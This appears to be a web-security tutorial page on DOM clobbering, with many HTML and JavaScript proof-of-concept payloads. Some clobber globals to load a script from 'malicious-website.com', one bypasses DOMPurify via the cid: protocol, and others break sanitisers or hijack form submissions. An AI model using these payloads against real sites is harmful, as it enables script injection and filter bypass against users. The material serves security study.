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Dom Clobbering

Basics

It's possible to generate global variables inside the JS context with the attributes id and name in HTML tags.
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
Only certain elements can use the name attribute to clobber globals, they are: embed, form, iframe, image, img and object.
Interestingly, when you use a form element to clobber a variable, you will get the toString value of the element itself: [object HTMLFormElement] but with anchor the toString will be the anchor href. Therefore, if you clobber using the a tag, you can control the value when it's treated as a string:
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Arrays & Attributes

It's also possible to clobber an array and object attributes:
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
To clobber a 3rd attribute (e.g. x.y.z), you need to use a form:
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
Clobbering more attributes is more complicated but still possible, using iframes:
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
The style tag is used to give enough time to the iframe to render. Without it you will find an alert of undefined.
To clobber deeper attributes, you can use iframes with html encoding this way:
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Filter Bypassing

If a filter is looping through the properties of a node using something like document.getElementByID('x').attributes you could clobber the attribute .attributes and break the filter. Other DOM properties like tagName , nodeName or parentNode and more are also clobberable.
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Clobbering window.someObject

A common pattern used by JavaScript developers is:
var someObject = window.someObject || {};
If you can control some of the HTML on the page, you can clobber the someObject reference with a DOM node, such as an anchor. Consider the following code:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
To exploit this vulnerable code, you could inject the following HTML to clobber the someObject reference with an anchor element:
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
Injecting that data window.someObject.url is going to be href=//malicious-website.com/malicious.js
Trick: DOMPurify allows you to use the cid: protocol, which does not URL-encode double-quotes. This means you can inject an encoded double-quote that will be decoded at runtime. Therefore, injecting something like <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> will make the HTML encoded &quot; to be decoded on runtime and escape from the attribute value to create the onerror event.
Another common technique consists on using form element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you create an input inside the form with id=attributes , you will clobber the attributes property and the sanitizer won't be able to go through the real attributes.

Clobbering document object

According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:
The Document interface supports named properties. The supported property names of a Document object document at any moment consist of the following, in tree order according to the element that contributed them, ignoring later duplicates, and with values from id attributes coming before values from name attributes when the same element contributes both:
- The value of the name content attribute for all exposed embed, form, iframe, img, and exposed object elements that have a non-empty name content attribute and are in a document tree with document as their root; - The value of the id content attribute for all exposed object elements that have a non-empty id content attribute and are in a document tree with document as their root; - The value of the id content attribute for all img elements that have both a non-empty id content attribute and a non-empty name content attribute, and are in a document tree with document as their root.
Using this technique you can overwrite commonly used values such as document.cookie, document.body, document.children, and even methods in the Document interface like document.querySelector.
document.write("<img name=cookie />")
​
document.cookie
<img name="cookie">
​
typeof(document.cookie)
'object'
​
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
​
document.cookie
HTMLCollection(2) [img, form, cookie: img]
​
typeof(document.cookie)
'object

Writing after the element clobbered

You can clobber the results of a document.getElementById() and a document.querySelector() call if you inject a <html> or <body> tag with the same id attribute. Here's an example:
<div style=display:none id=cdnDomain class=x>test</div>
<p>
<html id="cdnDomain" class=x>clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
alert(document.querySelector('.x').innerText);//clobbbered
</script>
What's also interesting is that you can hide elements from innerText, so if you inject a HTML/body tag you can use styles to hide it from innerText to prevent other text from interfering with your attack:
<div style=display:none id=cdnDomain>test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>
We looked at SVG too and it's possible to use the <body> tag there:
<div style=display:none id=cdnDomain>example.com</div>
<svg><body id=cdnDomain>clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>
You need a <foreignobject> tag in order to use the HTML tag inside SVG on both Chrome and Firefox:
<div style=display:none id=cdnDomain>example.com</div>
<svg>
<foreignobject>
<html id=cdnDomain>clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>

Clobbering Forms

It's possible to add new entries inside a form just by specifying the form attribute inside some tags. You can use this to add new values inside a form and to even add a new button to send it (clickjacking or abusing some .click() JS code):
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

References